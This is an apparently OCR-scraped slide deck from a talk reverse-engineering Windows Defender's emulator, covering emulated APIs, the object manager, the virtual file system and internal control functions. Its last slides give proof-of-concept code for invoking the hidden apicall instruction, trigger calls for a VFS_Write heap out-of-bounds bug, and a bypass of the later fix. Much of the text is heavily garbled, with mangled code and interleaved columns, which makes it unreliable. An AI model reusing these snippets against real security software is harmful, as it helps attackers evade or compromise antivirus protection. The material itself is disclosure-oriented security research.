offset ?ADVAPI32_DLL_RegDeleteValueli@g@YAXPAUpe_vars_t@@@Z ;
6A61698h

offset ?NTDLL_DLL_NtTerminateThreadlWorker@@YAXPAUpe_vars_t@@@l ;
751A54Bh

offset ?NTDLL_DLL_NtWaitForMultipleObjectsWorker_ PreBlock@@YAXPAUpe_vars_t@@@Z ;
8BD1E@Bh

offset ?ADVAPI32 _DLL_RegEnumKeyExWa@YAXPAUpe_ vars_t@@@Z ;
99EF6E2h

offset ?NTDLL_DLL_NtOpenEventWorker@@YAXPAUpe vars_t@@@Z ; NTDLL DLL NtOpenEventWorker(pe vars t =)
BAGDCBE6Gh

offset ?KERNEL32_DLL_GetCurrentThreadIld@gdYAXPAUpe_vars_t@@@Z ;
14732D7Dh

offset ?NTDLL_DLL_VFS_SetAttrib@@YAXPAUpe_vars_t@@@l ;
1738D6B2h

offset ?KERNEL32_DLL_ExitThreadg@YAXPAUpe_vars_t@@@i ;
192431FFh

offset ?NTDLL_DLL_MpUfsMetadataOp@@YAXPAUpe_vars_t@@@Z ;
1A831861h

offset ?NTDLL_DLL_VFS_SetCurrentDir@@YAXPAUpe_vars_t@@@Z ; NTDLL_DLL_V
20D8B27Fh

offset ?NTDLL_DLL_NtContinue@@YAXPAUpe_vars_t@@@Z ; NTDLL DLL NtContinue(
2131B5CDh

offset ?NTDLL_DLL_VFS_CopyFile@@gYAXPAUpe_vars_t@@@Z ;
2173861Dh

hreadlWorker(pe
NTDLL_DLL_NtSetInformationFileWorker(pe_vars_t *

ADVAPI32_DLL_RegDeleteValueW(pe_vars_t *)

NTDLL_DLL_NtTerminateThreadWorker(pe_vars_t *
NTDLL_DLL_NtWaitForMultipleObjectsWorker

ADVAPI32 DLL_RegEnumkKeyExW(pe vars_t *

NTDLL_DLL_VFS_Se
KERNEL32_DLL_ExitThread(pe_vars_t *)

NTDLL_DLL_MpUfsMetadataOp(pe_vars_t *)

pe_vars_t *)

NTDLL_DLL_VF

VFS_CopyFile(pe_vars_t *)



kernel32!OutputDebugStringA

void _ stdcall OutputDebugStringA(LPCSTR lpOutputString)
{

c.reg tration. TryLevel = 8;
~guments = strlen(1pOutputStrin _) + 1;
if ( g_OutputDebugStrlngA called count <= 980 || g SEH value )
{
++g_OutputDebugStringA_called_count;

1
]

else
I

1
apicall NtControlChannel(13, @); // set_pea_ dladble seh_limit
apicall NtControlChannel(17, "MpDisableSehlLimit");/,
g SEH_value = 1;

1
J

RaiseException(@x48@18886u 8, 2u, &A\r
ms_exc.registration.Trylevel = -1;
apicall _kernel32 DutputDebugStrlngA(,,,,,,,,:’*"5

In-emulator VDLL code



kernel32!OutputDebugStringA

void _ stdcall OutputDebugStringA(LPCSTR lpOutputString)

{
DWORD Arguments; f,
l“"H Z¥ RN

if ( 11pC

ration. TryLevel = 8;
1ts = strlen(1lpOutputStrin _) + 1;
if ( g_OutputDebugStrlngA called count <= 980 || g SEH value )
{
++g_OutputDebugStringA_called_count;

1
]

else

{
apicall NtControlChannel(13, @); // set _pea disable seh limit
apicall NtControlChannel(17, "MpDisableSehlLimit");// set attribute
g SEH_value = 1;

1
J

RaiseException(@x48@18886u @, 2u, &Arguments
= exc.registration.Trylevel = -1;
aplcall kernel32 DutputDebugStrlngA(,,,,,,,,:”*"5
apicall kernel32 OutputDebugStringhA proc near
; CODE XREF
8B FF mowv edi, edi
ES 60 60 o0 oo call $+5
' 83 C4 v4 add esp, 4
|n_emu|ator VD LL Code OF FF F@ BB 14 80 B2 apicall kernel32!0utputDebugStringA
C2 84 o8 retn 4
apicall kernel32 OutputDebugStringA endp




kernel32!OutputDebugStringA

void

{
DWORD Arguments
RD ms_ex

__stdcall OutputDebugStringA(LPCSTR 1pOutputString)

/! [esp+Ch] [ebp-28h
c; // [esp+l

String )
t = &NULL;
reglstratlon TryLevel 8; void _ cdec
1ts = strlen(lp putString) + 1; {

if ( g OutputDebugStrlngA called count <= 980 || g SEH value )

{

}

else

{ ¥
apicall NtControlChannel(13, @); // set_pea disable seh limit
apicall NtControlChannel(17, "MpDisableSehlLimit");// set attribute
g SEH_value = 1;

++g_OutputDebugStringA_called_count;

¥
RaiseException(@x48@18886u 2u,

ms_exc.registration.Trylevel = -1;
aplcall kernel32 DutputDebugStrlngA(,,,,,,,,:i*"g

B, &;,.E— ments) -

8B FF
ES 60 60 o0 oo
' 83 (4 84
8F FF F@ BB 14 8@ B2
C2 84 @8

In-emulator VDLL code

Parameters<ls:
->m_pDTc-

Native emulation
function

KERNEL32 DLL_Output

Parameters<l> arg; //

:Parameters<l>(&arg,
>m_vticksbd += 321i64;

apicall _kernel32 OutputDebugStringhA pro

mow
call $+5
add esp, 4
apicall kernel32!0utputDebugStringh
retn 4

apicall kernel32 OutputDebugStringA endp

edi, edi




Emulated VDLL Functions

ADVAPI32
RegCreateKeyExW
RegDeleteKeyW
RegDeleteValueW
RegEnumKeyExW
RegEnumValueW
RegOpenKeyExW
RegQueryInfoKeyW
RegQueryValueExW
RegSetValueExW

USER32

MessageBoxA

KERNEL32
CloseHandle
CopyFileWWorker
CreateDirectoryW

CreateFileMappingA

CreateProcessA
CreateToolhelp32Snapshot
ExitProcess

ExitThread
FlushFileBuffers
GetCommandLineA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetModuleFileNameA
GetModuleHandleA
GetProcAddress
GetThreadContext
GetTickCount
LoadLibraryW
MoveFileWWorker
MpAddToScanQueue
MpCreateMemoryAliasing
MpReportEvent

MpReportEventEx
MpReportEventW
MpSetSelectorBase
OpenProcess
OutputDebugStringA
ReadProcessMemory
RemoveDirectoryW
SetFileAttributesA
SetFileTime

Sleep
TerminateProcess
UnimplementedAPIStub
VirtualAlloc
VirtualFree
VirtualProtectEx
VirtualQuery
WinExec
WriteProcessMemory



Emulated ntdl1.d11 Functions

MpGetSelectorBase
MpUfsMetadataOp
NtCloseWorker

NtContinue

NtControlChannel
NtCreateEventWorker
NtCreateFileWorker
NtCreateMutantWorker
NtCreateSemaphoreWorker
NtCreateThreadWorker
NtDeleteFileWorker
NtDuplicateObjectWorker
NtGetContextThread
NtOpenEventWorker
NtOpenMutantWorker
NtOpenSemaphoreWorker
NtOpenThreadWorker
NtPulseEventWorker
NtQueryInformationFileWorker
NtQueryInformationThreadWorker

NtReadFileWorker
NtReleaseMutantWorker
NtReleaseSemaphoreWorker
NtResetEventWorker
NtResumeThreadWorker
NtSetContextThread
NtSetEventWorker
NtSetInformationFileWorker
NtSetLdtEntries
NtSuspendThreadWorker
NtTerminateThreadWorker

VFS DeleteFileByHandle
VFS FileExists
VFS_FindClose

VFS _FindFirstFile
VFS_ FindNextFile
VFS FlushViewOfFile
VFS_ GetAttrib
VFS_GetHandle
VFS_GetLength

VFS MapViewOfFile
VFS MoveFile

VFS_ Open

NtWaitForMultipleObjectsWorker PostBlock
NtWaitForMultipleObjectsWorker PreBlock

NtWriteFileWorker
ObjMgr ValidateVFSHandle

ThrdMgr GetCurrentThreadHandle

ThrdMgr SaveTEB
ThrdMgr SwitchThreads
VFS CopyFile

VFS DeleteFile

VFS_Read
VFS_SetAttrib
VFS_SetCurrentDir
VFS_SetLength

VFS UnmapViewOfFile
VFS_Write



Native Emulation Functions

vold _ cdecl KERNEL32 _DLL_GetModuleFilelNameAjpe_ wvars

‘ cdec
1
DT _context *wvl; // ecx

unsigned int v2; // eax

Native emulation functions all take

parameter pe vars T *, ~1/2mb src_attribute_t attr; // [esp+l8h]
— . . . CAutoVticks vticks; // [esp+24h]
large struct containing entire Paraneters<3> arg: /7 [

emulation session context int v6; // lesp+34n] [ebp-4l
Parameters<3:::Parameters<3:>(&arg, v);
1 = v->m_pDTc;
s.m_init wvticks = &v-»vticks32;
“ks.m_pC = vl;
= a;
set full filename(v, arz.m_Arg[2].val32, zrg.m_Arg[l].valbd);
_set_return_value(v, v2);
r.first.numval32
“tr.first.length
~tr.second.length
attr.second.numval32
attr.attribid = 12318,
ticks.m_vticks = 544;
__siga check(v, &=ttr);
CAutoVticks: :~CAutoVticks(&vticks);




Native Emulation Functions

void _ cdecl KE

Native emulation functions all take
parameter pe vars t *, ~%2mb
large struct containing entire
emulation session context

Templated Parameters functions
retrieve parameters to the function
from the emulated stack

B
1

RNEL32 DLL_GetMo

DT _context *wvl; // ecx
unsigned int v2; // eax

src_attribute

_t attr; // [esp

CAutoVticks vticks; // ::
arg, f/

Parameter5<3>
nt vb;

duleFileNamelAfpe wvars t *v)

s.m_init wvticks = &v-»vticks32;

ticks.m_pC =
9;

= set_full

pe set_return

_filename|
_wvalue(v, w2

r.first.numval32 = @;
r.first.length = 8;

r.second.

ttr.second.n

.attribid =

ticks.m_vtic

__siga check(
:~CAutoVticks(&uticks);

CAutoVticks:

length
umval3i2
12318,
ks = 544;
r, &attr);




Native Emulation Functions

volid o

;
1
Native emulation functions all take EIEEZ:Z?;:VE I
parameter pe vars t *, ~%mb src_attribute_t attr; // [esp
. . . CAutoVticks vticks; // [e
large struct containing entire Paraneters<ds arg: /"

int v6; // [esp+54h] [ebp-4h]

emulation session context

Templated Parameters funCtionS . ticks.m_init wvticks = &v-»vticks32;
. . VIL1CKS. C = vl;
retrieve parameters to the function P :
from the emulated stack - set full filenamefl, 2rs.
: .first.length
Return values, register state, CPU tick [ LR
attr.second.numval3i2
count, etc, are managed through sttr.attribid = 12318;
. . c ticks.m_vticks = 544;
various functions that manipulate " oiga check(v, &atir):

pe_var S_t CAutoVticks: :~CAutoVticks(&vticks);




Interacting With Virtual Memory

mmap functions allow access to the emulated memory space
Interface similar to Unicorn Engine and other similar tools

zrz.m_Arg[2].val32, zrz.m Arg[l].valed, 8x40000000u);



Interacting With Virtual Memory

mmap functions allow access to the emulated memory space
Interface similar to Unicorn Engine and other similar tools

| £ | pem_probe_for_write(pe_vars_t *,unsigned __int54,ulong)

D pem_read_buffer{pe_wvars_t *,unsigned __int64,ulong,uchar *)

|7 pem_read_byte{pe_vars_t *unsigned __int64,uchar &) char *mappedBuffer; // eax

¥ | pem_read_dword(pe_vars_t *,unsigned __int64,ulong &) o

% pem_read_gword{pe_vars_t *,unsigned __int64,unsigned __int54 &) nappeat : —:;__lv'r_lmap_ex( » Au, addr, @x46000060u);
IEI pem_read_word(pe_vars_t *,unsigned __int54,ushort &)

IE pem_write_buffer{pe_vars_t *,unsigned __int&4,ulong,uchar const *)

@ pem_write_byte(pe_vars_t *,unsigned __int54,uchar)
Izl pem_write_dword(pe_vars_t *,unsigned

lEI WideVirtualString: : ~WideVirtualString (void)

_int&4,ulong) E WideVirtualString:: “scalar deleting destructor'{uint)

E pem_write_gword(pe_vars_t *,unsigned _i”tﬁ"‘}rUF‘SiQ”E'lzl WideVirtualString: : WideVirtualString{pe_vars_t *,unsigned __inta4,ulong)
Iz pem_write_word(pe_vars_t *unsigned __int&4,ushart) [zl VirtualString: : ~VirtualString (void)

[z VirtualString:: “scalar deleting destructor'(uint)

l?| VirtualString: :VirtualString(pe_vars_t *,unsigned __int&4,ulong)
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Windows Kernel Emulation -

POSIX 0S/2
Application Application

Windows kernel facilities are emulated
with native code

Object Manager

X irtua IWmdow
e PP | lPower |/
Process management e = o

File system
Registry
Synchronization primitives

Kernel mode drivers Microkernel

Hardware Abstraction Layer (HAL)

Kernel mode l

Hardware



Object Manager

® The Object Manager is an essential part of
the Windows Executive - provides kernel
mode resource management - processes,
files, registry keys, mutexes, etc

® Defender supports 5 types of objects: File,
Thread, Event, Mutant (Mutex), Semaphore

® Manages system state during emulation that
is persistent between native emulation API
calls

(7] ObjectManager:
\Z] ObjectManager::
@ ObjectManager::
@ ObjectManager::
\Z| ObjectManager::
(7] ObjectManager::
\z] ObjectManager::
@ ObjectManager::
E ObjectManager::
\ZI ObjectManager::
(7] ObjectManager::
@ ObjectManager::
@ ObjectManager::
[Z‘ ObjectManager::
(7] ObjectManager:
\z ObjectManager::
E ObjectManager::
E ObjectManager::
\Z| ObjectManager::
(7] ObjectManager:
\z] ObjectManager::
@ ObjectManager::
@ ObjectManager::
\ZI ObjectManager::
[ 7] ObjectManager::
\E ObjectManager::
@ ObjectManager::
[E ObjectManager::
(7] ObjectManager:
(7] ObjectManager:
E ObjectManager::
E ObjectManager:
\z| ObjectManager::
(7] ObjectManager:
\Z] ObjectManager::
@ ObjectManager::

Impl::ProcessObjects::getObjectForinde...
Impl::ProcessObjects::newlndex(ulong,...
Impl::ProcessObjects::setObjectForinde...
Impl::ProcessObjects::setObjectForinde...
Impl::ProcessObjects::setObjectForinde...
Impl::ProcessObjects:~ProcessObjects(...
Impl::"scalar deleting destructor'(uint)
Impl::handleTolndex(void *,uint &)
Impl::newObject<ObjectManager:Mut...
Impl::newObject<ObjectManager::Obj...
Impl::newObject< ObjectManager::Sem...
Impl::newObject<ObjectManager:: Thre...
MutantObject:MutantObject(uint)
MutantObject:abandonlfOwnerls(uint)
MutantObject::autoLowerSignal(uint)
MutantObject::hasSignalled(uint)
MutantObject:isOwnedBy(uint)
MutantObject:lowerSignal(uint)
MutantObject:raiseSignal(uint)
MutantObject::waitCount(void)
Object::'scalar deleting destructor'(uint)
Object::hasSignalled(uint)
Object:isDeleteable(void)
Object::lowerSignal(uint)
Object::postDecOpenCount(void)
Object::prelncOpenCount(void)
Object:raiseSignal(uint)
ObjectManager(void)
SemaphoreObject:autoLowerSignal(uint)
SemaphoreObject::hasSignalled(uint)
SemaphoreObject:release(long)

:ThreadObject::'vector deleting destruct...

“scalar deleting destructor'(uint)
abandonMutants(uint)
deleteHandle(ulong,void *)
duplicateObject(ulong,void *,ulong)




Object Manager Types = o o o

+0x4 m_openCount : Uint4B Stored in memory
+0x8 m isPersistent : Bool 3
5 t f b. t. +0x9 m:canDelete : Bool as C++ ObJeCtS
ypeS oro JeC . +0xa m_signal : Bool

. File N\
. Thread / b

dt mpenglne'ObjectManager :FileObject dt mpenglne'ObjectManager :MutantObject

ar~howONPR-

E t +0x0 __ VFN table : Ptr32 +0x0 __VFN_table : Ptr32
. Ven +0x4 m openCOunt . Uint4dB +0x4 m_.openCOIIJnt : Uint4B
+0x8 m_isPersistent : Bool SOy BopGEE R s 8 Boel
° MUtant (MUteX) +0x9 m canDelete : Bool e e s : Bool
+0xa m_signal Bool tOxa m_signal : BO,Ol
. Semaphore +0xc m fileHandle . U1nt4B +0xc m_?wnerThrdId: U}ntélB
+0x10 m accessMode . Uint4B +0x10 m_isAbandoned: Uint4B
. . +0x14 m:shareAccess : Uint4B +0x14 m waitCount : Uint4B
Obijects are stored in a map, +0x18 m cursor : Uint4B

tracked by pid and handle

ObjeCtS identify themselves by Ob / ea E ObjectManager: :getObject(pid, evHndl);
C++ virtual method call, RTTl is | R ir (2 (uaoviptr-sgann (T

. 3 g (* s . r _ RTDynamicCast(
used to cast from csult « _RIoymamice o
G,) &E)bjectlﬂanager‘::Object “RTTI Type Descriptor’

Ob j ecC tMa na ge r:. Ob j ecC t to &0bjectManager: :Object "RTTI Type Descriptor’, &0bjectManager: :EventObject “RTTI Type Des::v*i;tor' ,
.. &0ObjectManager: :FileObject “RTTI Type Descriptor’ 0);
specific subclasses

e);

esult = @;
return result;

return result;

1
J




Object Manager Integration

The Object Manager manages persistent
system state during an emulation session

NTDLL DLL NtOpenMutantWorker

)] = ObjectManager: :openObject(v->objMgr, v->pe_pid, >, ObjType_Mutant, &objExi

+ - ]

std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>:: Tid

&vl2,

1,

);
if ( ne
{
1
J

pe_set_return_value(v, (HIBYTE(objExists) == @ ? STATUS_NO_SUCH_FILE : STATUS_OBJECT_TYPE_MISMATCH));

t = Ob]ectHanageP :getFileObject(c » pid .m_Arg[0].val32);

: = STATUS_INVALID_ HANDLE;
goto LABEL 13;




Object Manager Integration Current process handle is

emulated as 0x1234
The Object Manager manages persistent o e c1 KERNEL32_DLL_GetCurrentProcess(pe_vars_t *v)

system state during an emulation session R ESTRI TS F@xﬂ%m&
s->m_pDTc->m_vticks6d += 32164,
}

NTDLL DLL NtOpenMutantWorker

»j = ObjectManager: :openObject(v->objMgr, v->pe_pid, e, ObjType_Mutant, &obj +1);

=2, void cdecl KERNEL32 DLL WriteProcessMemory

std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::_Tid\j{
&vl2,
1,

ists

);
if ( = j == -1 ) CAut ticks vticks 44
{ . Parameters<s> arg; //
pe_set_return_value(v, (HIBYTE(objExists) == @ 2 STATUS_NO_SUCH FILE : STATUS OBIECT_TYPE MISMATCH)); | 5.+ ve: ;7 [eprach] [

)

Parameters<5>: :Parameters<5>(&arg, v);
NTDLL DLL NtSetInformationFileWorker et

ric .m_init vt1ck5 = &v->vticks32;
ticks.m_pC = 5

fileObject = ObjectManager::getFileObject(ot id, .m Arg[@] val32);

it ( !'f1ileObject )

{
status = STATUS_INVALID HANDLE;
goto LABEL_13;

if ( arg.m_Arg[0].val32 ==|0x1234})

2 = vmm_memmove(v, arg.m_Arg[1].val64,

¥



° ° [z] NTDLL_DLL_VFS_CopyFile(pe_vars_t *)
VF S - Vl rtu a I Fl Ie sySte m 7] NTDLL_DLL_VFS_DeleteFile(pe_vars_t )
[Z' NTDLL_DLL_VFS_DeleteFileByHandle(pe_vars_t *)
. ) . ) ) [£] NTDLL_DLL_VFS_FileExists(pe_vars_t *)
e Native emulation functions are filed under NTDLL (but accessible [FAEETEIRGE R i

. . ' @ NTDLL_DLL_VFS_FindFirstFile(pe_vars_t *)
from multiple VDLLs via apicall stubs) 2] NTDLL DL VS, FicNextFfefpe,vars.t 9

NTDLL DLL VFS * functions do administrative work before (7] NTDLL_DLL_VFS_FlushViewOfFie(pe_vars_t *)
. . - N . . [#] NTDLL_DLL_VFS_GetAttrib(pe_vars_t %)
calling into internal VES_* functions that actually engage with the | g ———

virtual file system, calling its methods to manipulate contents LF] NTDLL DL _VFS_Getlength(pe_vars_t %)
D NTDLL_DLL_VFS MapV|eAOfF|Ie(pe vars_t *)

NTDLL Nt* emulation functions that interact with the |[ErEEEEE N
file system call down into VFS * functions after DT_context *vi; // ec

unsigned _ int8 wv2; // =1

checking / normalizing / sanitizing inputs VirtomlFS Fuss 1/ o
CAutoVticks wvticks; // [esp [ebp-36h]
unsigned int nlength; // [esp+1Ch] [ebp-24h]

G2 xrefs to VFS_Write(VirtualFS &,uint,uchar *ulong,ulong,ulong *) - B ParametE;;<2> arg; 171
int v/ H 1

r

Directic Ty] Address Text

Parameters<2>::Parameters<2>(&zarg,

1 = v-»>m_pDTc;

ii:rz.m_vticks = 32;

ticks.m_init wticks = &v->vticks32;

NTDLL_DLL_NtwriteFileWorker(pe_vars_t *)+12D VFS_Write @@YA_NAAVVirtualF
NTDLL_DLL_VFS_Write(pe_vars_t *)+73 VFS_Write @@YA_NAAVVirtualF

RprAPL_VF5_Write+57 AFS_Write ey E_N!E'u"ﬂurﬁa F

Cancel Search

Line 1 of 4 -
VFS_Getlength(v2, arg.m_Arg[@].val32, &nlength);

= )




VFS-Specific Native Emulations

ObjMgr ValidateVFSHandle

VEFS CopyFile
VEFS DeleteFile

VEFS DeleteFileByHandle

VFS FileExists
VFS FindClose

VFS FindFirstFile
VFS FindNextFile
VFS FlushViewOfFile
VES GetAttrib

VFS GetHandle

VEFS GetLength

VFS MapViewOfFile
VEFS MoveFile

VES Open

VEFS Open
VFS Read
VEFS SetAttrib

VEFS SetCurrentDir

VFS SetLength

VES UnmapViewOfFile

VFS Write

dt mpengine!pe vars t

+0x241e0
+0x241e4d
+0x241e8
+0x241ec
+0x241£0
+0x241f4

vEs

vEsState
vEsNumVFOs
vEsVFOSizeLimit
visRecurseLimit
vEsFlags

Ptr32 VirtualFsS
Ptr32 VfsRunState

: Uinti4B
: Uinti4B
: Uinti4B
: Uinti4B
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Defender Internal Functions

Internal administration and configuration functions accessible via apicall

MpAddToScanQueue
Queue up a file (e.g., a dropped binary) for scanning
MpCreateMemoryAliasing

Alias memory in emulator
MpReportEvent, MpReportEvent{Ex,W}

Report malware behavior to inform heuristic detections
Mp{Get, Set}SelectorBase

Get/set segment registers (CS, DS, ES, etc)
MpUfsMetadataOp

Get/set metadata about the file being scanned
NtControlChannel

|OCTL-like administration for the AV engine



MpReportEvent

UINT

{
UINT result; // eax

if ( lpBuffer )
{

| MpReportEvent(12331, @, 0); |
result = 24,
if ( uSize < 20 )
{
NtCurrentTeb()-»LastErrorValue =
return result;
¥
gmemcpy( lpBuffer,
¥

return 19;

ERROR_INSUFF

L"C:\\WINDOWSA\\SYSTEM32™, 48y

IMpReportEvent(BxBBBD, a, (iﬂt)”SELF“);I
return O

3

__stdcall GetSystemDirectoryW(LPWSTR lpBuffer, UINT uSize)

Used to communicate
information about malware
binary actions with Defender’s
heuristic detection engine

if ( F

&& 'memlcmp(

"CONWINDOWS\\system32'\\cmd . ex:
&& !'memicmp(Fr

7+ 31, "C:\\myapp.exe", @xCu) )

if ( Strl )
MpReportEvent(12312, Strl, Pr
else

ogramPath);

MpReportEvent(12312

ationFlacs & CREATE SUSPENDED && ProcramPath

MpReportEvent(Bx3818, "CREATE_SUSPENDED", ProgramPat!




Mp Rep O r tEve n t ?NDRD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)

struct _TEB *v2; [/ eax

BOOL _ stdcall QueryServiceStatus(SC HANDLE hServi¢ ¢ filesize; // [esps38n]

{ . - fileSize = -1;
int v2; // 5T@8_4 if ( get_file size with_NtQueryInformationFile(hFile, &fileSize) )
int *v3; // esi {
int '._(5, !/ :.gfj_:ff-': :;_-_'xj-]_:f;-‘: if ( 1pFileSizeHigh )

char serviceNum; // [esp+8h] [ebp-18h mniilooizefiich — 0
MpReportEvent(8x3635, 8, 8);
b

else if ( g GetFileSize called count == 188 )

itoa(hService, &serviceNum, v5);
PMpReportEvent(v2, 8x3@8B, &servicellum, 0); (
1t ( hservice - /53bbd < Oxdd && (v2 = &dword 771 NtCurrentTeb()->LastErrorValue = ERROR_INVALID HANDLE;
b

UINT _ stdcall GetDriveTypeA Internal(LPCSTR lpRootPathName) else

{ {
unsigned int v2; // edx ++g_GetFileSize called count;
CHAR v3; /[ al v2 = NtCurrentTeb();
CHAR va; // bl ocalBuf = LocalAlloc(®, 2 * buflen + 1);
CHAR w5; // cl
bool vb; f/ zf
int v7; // ecx
int v8; // ecx
int v9; // ecx
CHAR wvi1@; // =l

BOA, loc.
[MpReportEvent(8x304F, lpRootPathllame, 8); | alkFree(localBut);
it ( !lpRootFPathName )
return 3;




MpReportEvent - AV Processes ik

dd 728

dd 624
Processes types are grouped Emulated process dd offset afntivirusExe ; -
by PID - processes for antivirus information is stored [
software has 700 PIDs in a data structure in  [cuNE_—_—_—
700 - kav.exe the kernel32.d11 o
704 - SVREE X VDLL and presented gg giiset alortonExe
708 - avpm.exe when enumerated
7112 - avp32.exe . —
716 - avp.exe if ( PID - 788 » 199 )
720 - antivirus.exe MpReportEvent(12349, v3[2], @);
124 - fsav.exe 1
728 - norton.exe €l5€ | i
732 - msmpeng.exe MpReportEvent(12349, v3[2], "AV");
736 — msmpsvc.exe . .
740 - mrt.exe Calling TerminateProcess on an AV product

/44 - outpost.exe triggers an MpReportEvent call



NtControlChannel Options

1 set attribute set static unpacking 14 get arbitrary attribute substring

2 delete attribute store pea disable static unpacking 15 set pe vars t->max respawns value
3 get mpengine.dl1 version number 16 modify register state (?)

4 set attribute set pea enable vmm grow 17 set arbitrary attribute

5 set attribute set pea deep analysis 18 load microcode

6 set attribute set pea hstr exhaustive 19 set breakpoint

7 set attribute set pea aggressiveimport 20 retrieve get icnt inside loop value
8 set attribute set pea skip unimplemented opc 21 some sort of domain name signature check
9 set attribute pea skip unimplemented opc 22 setpe vars t->internalapis

10 | setattribute set pea disable apicall limit 23+24 switch to net32 proc (.NET)

11 | get arbitrary attribute 25 get arbitrary pe attribute by number

12 | check if malware is packed with a given packer 26=31 unimplemented

13 | setattribute pea disable seh limit 32 scan_msil by base
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Tavis' apicall Trick

e Build binary with an
rwx .text section,
generate apicall

instruction on the fly as
needed

® apicall instruction

triggers native emulation
functions from
malware . text section

with attacker controlled

DWORD MpApiCall (PCHAR Module,

{

DWORD Result;
DWORD ApiCrc;

ApiCrc = crcstr (Module) *
_asm {
mov eax, dword ptr
mov [apicode], eax
mov ebx, esp
lea esp, ProcName
_emit O0x0f
_emit Oxff
_emit 0xf0
apicode:
_emit 0x00
_emit 0x00
_emit 0x00
_emit 0x00
mov esp, ebx
mov Result, eax
}
Result;

PCHAR ProcName, ...

crcstr (ProcName) ;

ApiCrc

; apicall
; apicall
; apicall

; apicall
; apicall
; apicall
; apicall

opcode
opcode
opcode

immediate
immediate
immediate
immediate



Tavis’ NtControlChannel Bug NtControlChannel (0x12, .. .)

case Bx12:
ticks.m_vticks = 1536;
if (vl)
DT_context::load microcode(vl, Params[1l], v-»sehhandler);

else

HIDWORD(v1) = 1;
pe_set_return_value(v, SHIDWORD(v1));
goto retn;




Tavis’ NtControlChannel Bug NtControlChannel (0x12, .. .)

case Bx12:
ticks.m_vticks = 1536;
if (vl)
DT_context::load microcode(vl, Params[1l], v-»sehhandler);
else
HIDWORD(v1) = 1;
pe_set_return_value(v, SHIDWORD(v1));
goto retn;

-»m_pvmm->vfptr->mmap6d) (

J->m_pwvmm,

J->m_ucode_table,
WORD(this@->m_ucode_table),

(
il i

- 1) »» 3) + 1;

urre ry - 1))
|= ex1e8u;

cEntry += 8;
->m_ucode_avail[val >»> 3] |=1 << (val & 7);

while ( count
1
S
1
I

1
]



Tavis’ NtControlChannel Bug NtControlChannel (0x12, .. .)

case Bx12:
ticks.m_vticks = 1536;
if (vl)
DT_context::load microcode(vl, Params[1l], v-»sehhandler);
else
HIDWORD(v1) = 1;
pe_set_return_value(v, SHIDWORD(v1));
goto retn;

-»m_pvmm->vfptr->mmap6d) (
>m_pwvmm,
>m_ucode_table,
IORD(this@-»>m_ucode_table),

sedMem + 1);
- 1) »» 3) + 1;

rentEntry - 1) )
Bx160u;

1tEntry += 8;

count is user controlled



Tavis’ NtControlChannel Bug NtControlChannel (0x12, .. .)

case Bx12:
viticks.m_vticks = 1536;
B if ((v1)
(t~1%cj>m_pvmm->vfptr—>mmap64)( DT_context::load microcode(vl, Params[1l], v-»sehhandler);
thiso->m_pvmm, alse
t'izc->m_u§OQe_tab1e, HIDWORD(v1) = 1;
HIDHORD(this0->m_ucode_table), pe_set_return_value(v, SHIDWORD(v1));

8 * ecnt(C
goto retn;

> 0x1000 )I
return 0;
= (7 (this0 + 3507) + 8))(*(thise + 3507), v7, HIDWORD(v7), 8 *
if ( !mappedMem )
return 0;
if (8 * e

TtEntry - 1) ) appediiem + 1);
1 |= ex100u; ‘ : -1 >»>3) + 1
pCurrentEntry += 8;
this@->m ucode_avail[val »> 3] |=1 << (val & 7); .
count; ey - 1))
al |= @x100u;
-entEntry += 8;

. L >
*(this® + (val >> 3) + 13803) |= 1 << (val & 7);

>

¥
while ( count );

M }
count is user controlled EExE

Patched with max 0x1000 count check




Tavis’' VFS Write Bug — "7

unsigned int hFile,

h * pBuffer,
Heap OOB r/w: buffer gets extended char & psutfer .
: unsigned 1nt nBytesToWrite,
to offset, but no space is allocated unsigned int nOffset,
for it. r/w at arbitrary offsets then unsigned int * pBytesWritten
possible b g

VFS Write (Handle, Buf, 0, Oxffffffff, O0);
VEFS Write (Handle, Buf, Ox7ff, 0x41414141, O0);

VirtualFS *v6; // edi
void *__ formal; //

if ( ->vfptr->gethiriteFailCount(vfs) >= 5 || !ve->vfptr->wurite(v6,
return 0;
if ( shritten )

*x ~ =

2

->vfptr->writeFailed(v6, 0);
return 1;
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Locking Down apicall

is vdll pagecalladdedto call api by crc ;
in 6/20/2017 mpengine.dll build - is the apicall New AV heuristic trait added
instruction coming from a VDLL?

Can't just trigger apicall from malware . text section or otherwise malware-created
memory (eg: rwx allocation) anymore

If apicall did not
come from a VDLL,
set a heuristic and
deny it

return @;

1
J
1
J
16 = &syscall table;

do processing if

Proceed with

{
A7 = &v16[2 * (v13 / 2)]; ) .
i (*(V17 + 4) >= v29 ) apicallis ok

r

L




Bypass

® apicall stubs are located throughout

VDLLs
® They can be located in memory and
called directly by malware, with attacker
controlled arguments
O Passesis vdll page checks

Response from Microsoft: “We did indeed make
some changes to make this interface harder to
reach from the code we're emulating -however,
that was never intended to be a trust boundary.

Accessing the internal APls exposed to the
emulation code is not a security vulnerability...”

:7C816E1E
:7C816E20
:7C816E25
:7C816E28
:7C816E2F
:7C816E32
:7C816E32
:7C816E34
:7C816E39
:7C816E3C
:7C816E43
:7C816E46
:7C816E46

7C816E48

:7C816E4D
:7C816E50
:7C816E57
:7C816E5A
:7C816E5A
:7C816E5C
:7C816E61
:7C816E64
:7C816E6B
:7C816E6E
:7C816E6E
:7C816E70
:7C816E75
:7C816E78
:7C816E7F
:7C816E82
:7C816E82
:7C816E84
:7C816E89
:7C816E8C
:7C816E93
:7C816E96
:7C816E96
:7C816E98
:7C816E9D
:7C816EAQ
:7C816EA7

mov
call
add
apicall

apicall
retn

edi, edi

$+5

esp, 4
ntd11!VFS_Setlength

ntdl1l!VFS_DeleteFile
4




Bypass Example 1 OutputDebugStringA can be

normally hit from kernel32, so
VOID OutputDebugStringA APICALL (PCHAR msg) thisis ultimately just a unique way
{ of doing that
typedef VOID (*PODS) (PCHAR) ;
HMODULE k32base = LoadLibraryA (“kernel32.d11”);
PODS apicallODS = (PODS) ((PBYTE) k32base + I g
aplicallODS (msq) ;

Kernel 32 base offset:

Ox16d4e
apicall kernel32 OutputDebugStringA proc near
; CODE XREF:
Comes from kernel32 "‘9‘:‘[’1 ;dé: e
VDLL, so passes == - o
: add esp, 4
is_vdll_page checks apicall kernel32!QutputDebugStringA

